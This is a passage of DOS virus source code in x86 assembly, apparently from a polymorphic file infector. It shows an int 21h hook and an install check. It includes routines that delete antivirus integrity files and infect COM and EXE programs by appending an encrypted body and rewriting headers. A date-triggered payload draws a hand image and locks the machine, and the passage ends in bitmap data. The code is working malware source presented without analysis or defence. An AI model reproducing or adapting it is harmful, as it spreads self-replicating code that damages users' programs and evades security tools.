|
||
db 0EBh,00h ; Clear prefetch
|
||
clear21h: lodsw
|
||
db 2Dh ; sub ax,xxxx
|
||
decrypt21h_key dw 029Ah
|
||
stosw
|
||
loop clear21h
|
||
call rand_16
|
||
mov word ptr ds:[crypt21h_key],ax ; Get random key
|
||
mov word ptr ds:[decrypt21h_key],ax
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Virus int 21h handler ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
my21h: cmp ah,30h ; Install check?
|
||
je install_check
|
||
cmp ah,3Bh ; Change directory
|
||
jne try_get_name
|
||
call push_all ; Save all regs
|
||
call rm_crypt21h ; Remove encryption
|
||
jmp try_activation
|
||
try_get_name: cmp ax,4B00h ; Execution?
|
||
je work_filename
|
||
cmp ah,3Dh ; Open?
|
||
je work_filename
|
||
cmp ah,6Ch ; Extended open?
|
||
jne try_infection
|
||
work_filename: call push_all ; Save all regs
|
||
call rm_crypt21h ; Remove encryption
|
||
call pop_all ; Restore regs
|
||
call push_all ; and save them again
|
||
jmp store_filename ; Copy filename
|
||
try_infection: cmp ax,4C00h ; Terminate?
|
||
je work_infection
|
||
cmp ah,3Eh
|
||
jne forget_this
|
||
work_infection: call push_all ; Save all regs
|
||
call rm_crypt21h ; Remove encryption
|
||
call pop_all ; Restore regs
|
||
call push_all ; and save them again
|
||
jmp infect_program
|
||
forget_this: jmp crypt_leave21h
|
||
exit21h: push cs ; Redo encryption
|
||
pop ds ; before leaving
|
||
call crypto03h
|
||
call pop_all ; Restore regs
|
||
jmp crypt_leave21h
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Perform a call to the original int 21h vector ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
call21h: pushf ; Perform a call to
|
||
call dword ptr cs:[orig21h] ; the interrupt 21h
|
||
retf 02h
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Installation check ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
install_check: cmp esi,"ANTI" ; Is it our check?
|
||
je reponde_cabron
|
||
jmp crypt_leave21h
|
||
reponde_cabron: pushf ; Interrupt 21h
|
||
call dword ptr cs:[old21h]
|
||
mov esi,"ETA!" ; I am here!!!
|
||
iret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Store name of the file to execute ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
crypt_area03h equ this byte
|
||
store_filename: db 0EBh,00h ; Clear prefetch
|
||
cmp ah,6Ch ; Extended open?
|
||
je is_extended
|
||
mov si,dx
|
||
is_extended: push cs
|
||
pop es
|
||
cmp ah,4Bh ; Execute?
|
||
jne use_openbuff
|
||
mov di,offset exec_filename ; File to execute
|
||
jmp ok_buff_off
|
||
use_openbuff: mov di,offset open_filename ; File to open
|
||
ok_buff_off: push di
|
||
mov ah,60h ; Get complete
|
||
int 21h ; filename
|
||
push cs
|
||
pop ds
|
||
call hook_24h_03h
|
||
pop si
|
||
mov dx,offset del_this_shit01 ; Delete Thunderbyte
|
||
call delete_file ; ANTI-VIR.DAT files
|
||
mov dx,offset del_this_shit02 ; And CHKLIST.MS shit
|
||
call delete_file
|
||
call free_24h_03h
|
||
jmp exit21h
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ File infection ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
infect_program: db 0EBh,00h ; Clear prefetch
|
||
push cs
|
||
pop ds
|
||
call hook_24h_03h
|
||
cmp ah,4Ch ; Terminate?
|
||
jne infect_close
|
||
mov si,offset exec_filename ; Filename off to SI
|
||
jmp ok_infect_off
|
||
infect_close: mov si,offset open_filename ; Filename off to SI
|
||
ok_infect_off: mov ah,19h ; Get current drive
|
||
int 03h
|
||
add al,"A"
|
||
cmp byte ptr ds:[si],al ; Infect files only
|
||
jne exit_inf ; in current drive
|
||
mov bx,si ; Position of \
|
||
mov dx,si ; For later use
|
||
mov cx,0080h ; Max path
|
||
cld
|
||
next_char: lodsb ; Get character
|
||
cmp al,"\"
|
||
je found_slash
|
||
or al,al ; End of string?
|
||
je found_00h
|
||
cmp al,"V" ; Is char a V?
|
||
je exit_inf
|
||
cmp al,"0" ; Is char a digit?
|
||
jb ok_character
|
||
cmp al,"9"
|
||
jbe exit_inf
|
||
ok_character: loop next_char
|
||
jmp short exit_inf
|
||
found_slash: mov bx,si
|
||
jmp short ok_character
|
||
found_00h: mov eax,dword ptr ds:[bx] ; Get file name
|
||
cmp ax,"BT" ; Thunderbyte utils?
|
||
je exit_inf
|
||
cmp eax,"NACS" ; SCAN.EXE?
|
||
je exit_inf
|
||
cmp eax,".NIW" ; WIN.COM?
|
||
je exit_inf
|
||
cmp eax,"MMOC" ; COMMAND.COM?
|
||
je exit_inf
|
||
mov eax,dword ptr ds:[si-05h] ; Get extension
|
||
cmp eax,"MOC." ; Is it a COM file?
|
||
je go_into_file
|
||
cmp eax,"EXE." ; What about EXE?
|
||
je go_into_file
|
||
exit_inf: call free_24h_03h ; Restore ints
|
||
jmp exit21h ; 3, 24h and exit
|
||
go_into_file: mov ax,4300h ; Get file attrib
|
||
int 03h
|
||
jc exit_inf
|
||
mov word ptr ds:[file_attr],cx ; Save it
|
||
mov ax,4301h ; Clear attributes
|
||
xor cx,cx
|
||
int 03h
|
||
jc exit_inf
|
||
mov ax,3D02h ; Open file r/w
|
||
int 03h
|
||
jnc save_date_time
|
||
file_error_1: mov ax,4301h ; Restore saved
|
||
mov cx,word ptr ds:[file_attr] ; file attribute
|
||
int 03h
|
||
jmp short exit_inf
|
||
save_date_time: xchg bx,ax ; Get handle
|
||
mov ax,5700h ; Get date/time
|
||
int 03h
|
||
jnc done_date_time
|
||
file_error_2: mov ah,3Eh ; If error, close
|
||
int 03h ; file and restore
|
||
jmp short file_error_1 ; attribute
|
||
done_date_time: mov word ptr ds:[file_time],cx ; Save file time
|
||
mov word ptr ds:[file_date],dx ; Save file date
|
||
and cl,1Fh ; Check if file is
|
||
cmp cl,0Ah ; already infected
|
||
je file_error_3
|
||
mov ah,3Fh ; Read file header
|
||
mov cx,001Ch
|
||
mov dx,offset inf_header
|
||
mov si,dx
|
||
int 03h
|
||
jc file_error_3
|
||
call seek_end ; Seek to EOF and
|
||
jc file_error_3 ; get file size
|
||
mov ax,word ptr ds:[file_size]
|
||
mov dx,word ptr ds:[file_size+02h]
|
||
or dx,dx
|
||
jnz ok_min_size
|
||
cmp ax,inf_byte_size ; Too small file?
|
||
jb file_error_3
|
||
ok_min_size: mov ax,word ptr ds:[si]
|
||
add al,ah
|
||
cmp al,"M"+"Z"
|
||
je inf_exe_file
|
||
jmp inf_com_file
|
||
file_error_3: mov ax,5701h
|
||
mov cx,word ptr ds:[file_time] ; Restore time
|
||
mov dx,word ptr ds:[file_date] ; And date
|
||
int 03h
|
||
jmp file_error_2
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Infect COM files ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
inf_com_file: or dx,dx ; Huh? this COM
|
||
jnz file_error_3 ; file is strange...
|
||
mov ax,word ptr ds:[file_size] ; Avoid too big COM
|
||
cmp ax,0FFFFh-(inf_byte_size+02h) ; files
|
||
jae file_error_3
|
||
call backup_header ; Save header
|
||
sub ax,03h ; Write a jump
|
||
mov byte ptr ds:[si+00h],0E9h ; to the viral code
|
||
mov word ptr ds:[si+01h],ax
|
||
add ax,0103h
|
||
mov word ptr ds:[delta],ax ; Save delta offsets
|
||
mov dword ptr ds:[host_type],".COM" ; Set host type
|
||
jmp write_body
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³Infect EXE files ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
inf_exe_file: cmp word ptr ds:[si+19h],0040h ; Avoid Windows shit
|
||
jae file_error_3
|
||
cmp word ptr ds:[si+1Ah],0000h ; Avoid overlays
|
||
jne file_error_3
|
||
cmp word ptr ds:[si+0Ch],0FFFFh ; Check maxmem
|
||
jne file_error_3
|
||
call backup_header ; Save header
|
||
push word ptr ds:[si+14h] ; Build a jump to
|
||
pop word ptr ds:[exe_ip_cs] ; the original entry
|
||
push word ptr ds:[si+16h] ; point
|
||
pop word ptr ds:[exe_ip_cs+02h]
|
||
mov ax,word ptr ds:[file_size] ; Get file size
|
||
mov dx,word ptr ds:[file_size+02h] ; div 0010h
|
||
mov cx,0010h
|
||
div cx
|
||
sub ax,word ptr ds:[si+08h] ; Sub header size
|
||
mov word ptr ds:[si+14h],dx ; New entry point at
|
||
mov word ptr ds:[si+16h],ax ; file end
|
||
mov word ptr ds:[delta],dx ; Save delta offset
|
||
inc ax ; New stack segment
|
||
mov word ptr ds:[si+0Eh],ax ; in load module
|
||
add dx,inf_byte_size+0200h ; Move stack pointer
|
||
and dx,0FFFEh ; using word aligment
|
||
mov word ptr ds:[si+10h],dx
|
||
mov ax,word ptr ds:[file_size] ; Get file size
|
||
mov dx,word ptr ds:[file_size+02h] ; div 0200h
|
||
mov cx,0200h
|
||
div cx
|
||
or dx,dx
|
||
jz size_round_1
|
||
inc ax
|
||
size_round_1: cmp ax,word ptr ds:[si+04h] ; Check if file
|
||
jne exit_header ; size is as header
|
||
cmp dx,word ptr ds:[si+02h] ; says
|
||
je ok_file_size
|
||
exit_header: jmp file_error_3
|
||
ok_file_size: mov dword ptr ds:[host_type],".EXE" ; Set host type
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Append virus body to our victim ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
write_body: push bx
|
||
mov si,inf_para_size*02h ; Allocate memory
|
||
call mem_alloc ; for poly decryptor
|
||
pop bx ; and virus body
|
||
or di,di
|
||
jz no_memory
|
||
push bx
|
||
mov es,di
|
||
xor di,di
|
||
call gen_polymorph
|
||
add word ptr ds:[delta],di ; Save delta offset
|
||
mov ax,word ptr ds:[eng_entry_point]
|
||
mov si,offset inf_header
|
||
cmp dword ptr ds:[host_type],".EXE"
|
||
je fix_exe
|
||
fix_com: add word ptr ds:[si+01h],ax ; Add to jmp
|
||
jmp short entry_size_fix
|
||
fix_exe: add word ptr ds:[si+14h],ax ; Add to IP
|
||
mov ax,word ptr ds:[file_size] ; Get file size
|
||
mov dx,word ptr ds:[file_size+02h]
|
||
add ax,inf_byte_size ; Add virus size
|
||
adc dx,0000h ; to file size
|
||
add ax,di ; Add decryptor size
|
||
adc dx,0000h ; to file size
|
||
mov cx,0200h ; Get infected file
|
||
div cx ; size div 0200h
|
||
or dx,dx
|
||
jz size_round_2
|
||
inc ax
|
||
size_round_2: mov word ptr ds:[si+02h],dx ; Store new size
|
||
mov word ptr ds:[si+04h],ax ; on header
|
||
entry_size_fix: xor si,si
|
||
mov cx,inf_byte_size
|
||
rep movsb
|
||
push di
|
||
push es
|
||
pop ds
|
||
call crypto03h ; Crypt area 03h
|
||
call crypto02h ; Crypt area 02h
|
||
call crypto01h ; Crypt area 01h
|
||
call gen_encryption
|
||
mov ah,40h ; Write virus body
|
||
pop cx ; at EOF
|
||
pop bx
|
||
xor dx,dx
|
||
int 03h
|
||
jc no_write
|
||
call seek_begin
|
||
push cs
|
||
pop ds
|
||
mov ah,40h ; Write infected
|
||
mov cx,001Ch ; header
|
||
mov dx,offset inf_header
|
||
int 03h
|
||
mov al,byte ptr ds:[file_time] ; Mark file as
|
||
and al,0E0h ; infected using
|
||
or al,0Ah ; time stamp
|
||
mov byte ptr ds:[file_time],al ; (seconds=0Ah)
|
||
no_write: mov ah,49h ; Free allocated
|
||
int 03h ; memory
|
||
push cs
|
||
pop ds
|
||
mov word ptr ds:[crypt_delta],0000h ; Clear crypt delta
|
||
no_memory: jmp file_error_3
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Time for activation? ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
try_activation: db 0EBh,00h ; Clear prefetch
|
||
mov ah,04h ; Check if time
|
||
int 1Ah ; to activate
|
||
cmp dx,0710h
|
||
jne drop_virus
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Activation routine ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
do_payload: mov ax,0013h ; Set video mode
|
||
int 10h ; 320x200x256c
|
||
mov ax,0A000h ; Decompress our
|
||
mov es,ax ; image over video
|
||
mov si,offset image_data ; memory
|
||
xor di,di
|
||
mov cx,100 ; 100 scan lines
|
||
loop_compress: push cx
|
||
mov cx,20
|
||
next_string: push cx
|
||
lodsb
|
||
mov dl,al
|
||
mov cx,8 ; Get 8 pixels
|
||
compress_byte: xor al,al
|
||
test dl,128
|
||
jz pixel_ready
|
||
mov al,07h
|
||
pixel_ready: push di
|
||
add di,320
|
||
stosb
|
||
stosb
|
||
pop di
|
||
stosb
|
||
stosb
|
||
shl dl,01h
|
||
loop compress_byte ; Next pixel
|
||
pop cx ; Next 8 byte group
|
||
loop next_string
|
||
pop cx ; Next scan
|
||
add di,320
|
||
loop loop_compress
|
||
stay_quiet: jmp stay_quiet
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Image for the virus payload (white hand) ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
image_data equ this byte
|
||
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
||
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
||
db 001h,0FEh,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
||
db 000h,000h,000h,000h,000h,000h,007h,0FEh,000h,000h,000h,000h,000h,000h
|
||
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,00Fh,0FEh
|
||
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
||
db 000h,000h,000h,000h,03Fh,0FEh,000h,000h,000h,000h,00Fh,0F0h,000h,000h
|
||
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FEh,000h,000h
|
||
db 000h,000h,0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
||
db 000h,001h,0FFh,0FEh,000h,000h,000h,001h,0FFh,0F8h,000h,000h,000h,000h
|
||
db 000h,000h,000h,000h,000h,000h,000h,003h,0FFh,0FCh,000h,000h,000h,003h
|
||
db 0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,00Fh
|
||
db 0FFh,0FCh,000h,000h,000h,00Fh,0FFh,0F8h,000h,000h,000h,000h,000h,000h
|
||
db 000h,000h,000h,000h,000h,01Fh,0FFh,0FCh,000h,000h,000h,03Fh,0FFh,0F8h
|
||
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,03Fh,0FFh,0FCh
|
||
db 000h,000h,000h,0FFh,0FFh,0F0h,000h,000h,000h,000h,000h,000h,000h,000h
|
||
db 000h,000h,000h,07Fh,0FFh,0FCh,000h,000h,003h,0FFh,0FFh,0F0h,000h,000h
|
||
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0F8h,000h,000h
|
||
db 00Fh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
||
db 001h,0FFh,0FFh,0F0h,000h,000h,03Fh,0FFh,0FFh,0E0h,000h,000h,000h,000h
|
||
db 000h,000h,000h,000h,000h,000h,003h,0FFh,0FFh,0E0h,000h,000h,07Fh,0FFh
|
||
db 0FFh,080h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,01Fh,0FFh
|
||
db 0FFh,0C0h,000h,001h,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h
|
||
db 000h,000h,000h,000h,03Fh,0FFh,0FFh,0C0h,000h,007h,0FFh,0FFh,0FCh,000h
|
||
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh,0FFh,080h
|
||
db 000h,01Fh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
||
db 000h,000h,07Fh,0FFh,0FEh,000h,000h,03Fh,0FFh,0FFh,0F0h,000h,000h,000h
|
||
db 000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FCh,000h,000h,0FFh
|
||
db 0FFh,0FFh,0C0h,000h,003h,0F0h,000h,000h,000h,000h,000h,000h,000h,003h
|
||
db 0FFh,0FFh,0F8h,000h,001h,0FFh,0FFh,0FFh,080h,000h,01Fh,0F8h,000h,000h
|
||
db 000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,0F0h,000h,003h,0FFh,0FFh,0FFh
|
||
db 000h,001h,0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,01Fh,0FFh,0FFh
|
||
db 0C0h,000h,007h,0FFh,0FFh,0FCh,000h,007h,0FFh,0F0h,000h,000h,000h,000h
|
||
db 000h,000h,000h,01Fh,0FFh,0FFh,080h,000h,01Fh,0FFh,0FFh,0E0h,000h,03Fh
|
||
db 0FFh,0F0h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh,0FFh,000h,000h
|
||
db 03Fh,0FFh,0FFh,080h,000h,07Fh,0FFh,0E0h,000h,000h,000h,000h,000h,000h
|
||
db 000h,0FFh,0FFh,0FEh,000h,003h,0FFh,0FFh,0FEh,000h,001h,0FFh,0FFh,0C0h
|
||
db 000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FEh,000h,007h,0FFh,0FFh
|
||
db 0F8h,000h,003h,0FFh,0FFh,0C0h,000h,000h,000h,000h,000h,000h,001h,0FFh
|
||
db 0FFh,0FCh,000h,00Fh,0FFh,0FFh,0F0h,000h,007h,0FFh,0FFh,080h,000h,000h
|
||
db 000h,000h,000h,000h,003h,0FFh,0FFh,0F8h,000h,03Fh,0FFh,0FFh,0E0h,000h
|
||
db 01Fh,0FFh,0FEh,000h,000h,000h,000h,000h,000h,000h,003h,0FFh,0FFh,0E0h
|
||
db 000h,07Fh,0FFh,0FFh,0C0h,000h,07Fh,0FFh,0F8h,000h,000h,000h,000h,000h
|
||
db 000h,000h,007h,0FFh,0FFh,0C0h,000h,0FFh,0FFh,0FFh,000h,001h,0FFh,0FFh
|
||
db 0F0h,000h,000h,000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,080h,001h,0FFh
|
||
db 0FFh,0FCh,000h,003h,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h,000h
|
||
db 03Fh,0FFh,0FCh,000h,007h,0FFh,0FFh,0F8h,000h,00Fh,0FFh,0FFh,000h,000h
|
||
db 000h,000h,000h,000h,000h,000h,07Fh,0FFh,0F8h,000h,00Fh,0FFh,0FFh,0F0h
|
||
db 000h,01Fh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh
|
||
db 0F8h,000h,0FFh,0FFh,0FFh,0E0h,000h,07Fh,0FFh,0FEh,000h,000h,000h,000h
|
||
db 000h,000h,000h,000h,07Fh,0FFh,0FCh,03Fh,0FFh,0FFh,0FFh,000h,003h,0FFh
|
||
db 0FFh,0FCh,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FFh,0FFh
|
||
db 0FFh,0FFh,0FEh,000h,00Fh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,000h
|
||
db 000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,01Fh,0FFh,0FFh,0F0h
|
||
db 000h,000h,000h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
|
||
db 0F0h,001h,0FFh,0FFh,0FFh,0E0h,000h,003h,0F0h,000h,000h,000h,000h,00Fh
|
||
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,007h,0FFh,0FFh,0FFh,080h,000h,00Fh
|
||
db 0FCh,000h,000h,000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,0FFh
|
||
db 0FFh,0FFh,0FFh,000h,000h,03Fh,0FCh,000h,000h,000h,000h,03Fh,0FFh,0FFh
|
||
db 0FFh,0FFh,0FFh,0FFh,0EFh,0FFh,0FFh,0FFh,0FCh,000h,000h,07Fh,0FCh,000h
|
||
db 000h,000h,000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
|
||
db 0E0h,000h,000h,0FFh,0F8h,000h,000h,000h,000h,07Fh,0FFh,0FFh,0FFh,0FFh
|
||
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,000h,007h,0FFh,0F8h,000h,000h,000h
|
||
db 000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h
|
||
db 0FFh,0FFh,0F8h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
|
||
db 0FFh,0FFh,0FFh,0FEh,000h,001h,0FFh,0FFh,0F8h,000h,000h,000h,003h,0FFh
|
||
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,003h,0FFh,0FFh
|
||
db 0F8h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
|
||
db 0FFh,0C0h,000h,03Fh,0FFh,0FFh,0F0h,000h,000h,000h,00Fh,0FFh,0FFh,0FFh
|
||
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,007h,0FFh,0FFh,0FFh,0E0h,000h
|
||
db 000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h
|
||
db 07Fh,0FFh,0FFh,0FFh,0C0h,000h,000h,000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh
|
||
db 0FFh,0FFh,0FFh,0FFh,0F0h,000h,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h
|
||
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,003h,0FFh,0FFh
|
||
db 0FFh,0FCh,000h,000h,000h,003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
|
||
db 0FFh,0F8h,000h,01Fh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,003h,0FFh,0FFh
|
||
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F0h,001h,0FFh,0FFh,0FFh,0FFh,080h
|
||
db 000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h
|
||
db 007h,0FFh,0FFh,0FFh,0FEh,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh
|
||
db 0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,01Fh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h
|
||
db 000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,07Fh,0FFh
|
||
db 0FFh,0FFh,0C0h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
|
||
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,00Fh
|
||
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FCh
|
||
db 000h,000h,000h,000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
|
||
db 0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,03Fh,0F0h,0F1h
|
||
